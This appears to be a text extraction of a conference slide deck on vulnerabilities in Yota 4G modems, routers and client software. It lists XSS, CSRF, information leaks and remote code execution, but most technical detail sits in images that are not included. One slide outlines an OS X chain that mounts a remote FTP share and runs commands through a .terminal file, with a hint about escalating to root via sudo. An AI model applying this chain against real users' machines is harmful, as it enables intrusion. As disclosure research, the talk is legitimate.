Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web...

35
Vulnerabilities in the software of Yota telecommunication equipment Firstov Mikhail (@cyberpunkych) HeadLight Security

Transcript of Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web...

Page 1: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Vulnerabilities in the software of Yotatelecommunication equipment

Firstov Mikhail (@cyberpunkych)

HeadLight Security

Page 2: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

WHOAMI?

• Security researcher at HeadLight Security

• “Attacking MongoDB” at ZeroNights 2012

• “Database honeypot by design” at Defcon Russia

• Worked at Positive Technologies since 2012 to 2015

• “Hacking routers as Web Hacker” at Defcon Moscow

• Member of DC7499

Page 3: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Modems, routers, mobile routers, phones, etc

WHAT IS 4G IN 2015?

Page 4: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

WHAT IS YOTA?

Most used YOTA devices:

Yota Lua (simple usb modem)

Yota Swift (modem + wifi router)

Yota Many (mobile router)

Page 5: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Yota web interface:

WHAT IS YOTA?

Page 6: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Yota software:

WHAT IS YOTA?

Page 7: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

• Yota personal cabinet (XSS, CSRF, Info Leakage)

• Yota Many (Sensitive Info Leakage, RCE)

• Yota Swift (RCE)

• Yota Access (Sensitive Info Leakage, RCE)

WHAT CAN WE ATTACK?

Page 8: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

• Yota personal cabinet (XSS, CSRF, Info Leakage)

• Yota Many (Sensitive Info Leakage, RCE)

• Yota Swift (RCE)

• Yota Access (Sensitive Info Leakage, RCE)

WHAT CAN WE ATTACK?

Page 9: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Even 1 XSS can compromise all your data

YOTA SERVICES

Page 10: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Even 1 XSS can compromise all your data

…but I found 2 of them ;)

YOTA SERVICES

Page 11: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

“XSS is boring, it can’t see my password”

Don’t be so sure, if you save your passwords in FF

YOTA SERVICES

Page 12: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Just another CSRF with password change

Thnx Yota support with this bug ;)

YOTA SERVICES

Page 13: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Get user’s balance by VK id ;)

...and other small bugs with info leakage, but you want smth more cool, isn’t it?

YOTA SERVICES

Page 14: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

OK, that’s all is really boring. Go next!

YOTA SERVICES

Page 15: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

• Yota personal cabinet (XSS, CSRF, Info Leakage)

• Yota Many (Sensitive Info Leakage, RCE)

• Yota Swift (RCE)

• Yota Access (Sensitive Info Leakage, RCE)

WHAT CAN WE ATTACK?

Page 16: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Just press button and go 4G!

…or insert into USB port

YOTA DEVICES

Page 17: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Web admin panel looks good

It’s using JSONP to update data in real time

Hmm…

YOTA DEVICES

Page 18: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Wow, such referer check, nice protection!

YOTA DEVICES

Page 19: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Not for us!

YOTA DEVICES

Page 20: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Router. Bugs. Hmm. RCE?

Of course!

YOTA DEVICES

Page 21: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Router. Bugs. Hmm. RCE?

We are root. Classic.

YOTA DEVICES

Page 22: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Final result:

Other devices, such as Yota Swift affected too!

YOTA DEVICES

Page 23: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

• Yota personal cabinet (XSS, CSRF, Info Leakage)

• Yota Many (Sensitive Info Leakage, RCE)

• Yota Swift (RCE)

• Yota Access (Sensitive Info Leakage, RCE)

WHAT CAN WE ATTACK?

Page 24: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Software? But I’m just web script-kiddie

Wow, web interface on 5000 port. Interesting…

YOTA SOFTWARE

Page 25: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Oh, this web again. I love it.

YOTA SOFTWARE

Page 26: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Send request and wait for reply on :5000/events!

YOTA SOFTWARE

Page 27: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Ok, we can read some data, and so?

My lovely game – playing with parameters & requests!

YOTA SOFTWARE

Page 28: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Change true to false and get all information about your machine!

YOTA SOFTWARE

Page 29: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

OK. WHERE IS RCE?!1

YOTA SOFTWARE

Page 30: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Here.

Windows affected too.

YOTA SOFTWARE

Page 31: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Short instruction for OS X:From opening file to full RCE

• $ open ftp://[email protected]/ - will mount ftp to /Volumes/1.1.1.1/• .terminal file could exec any commands after opening• Sometimes you can get root without any exploits! (remember ‘sudo’ feature in OS X )

YOTA SOFTWARE

Page 32: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Video here.

YOTA SOFTWARE

Page 33: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Test yourself here – http://yota.hlsec.ru/

Questions?

CONCLUSION

Page 34: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Thnx:

• Oleg Kupreev (@090h)• Sergey Vishnyakov (@n3tw0rk)

• Timur Yunusov (@a66at)• Dmitry Evteev (@devteev)

• Vyacheslav Egoshin (@vegoshin)• Psych0tr1a (@Psych0tr1a)

• DC7499 and 2600 community• Matt Austin (From XSS to RCE)

CONCLUSION

Page 35: Vulnerabilities in the software of Yota telecommunication ... · •“Hacking routers as Web Hacker” at Defcon Moscow •Member of DC7499. Modems, routers, mobile routers, phones,

Thank you for the attention!

@cyberpunkych

BYE!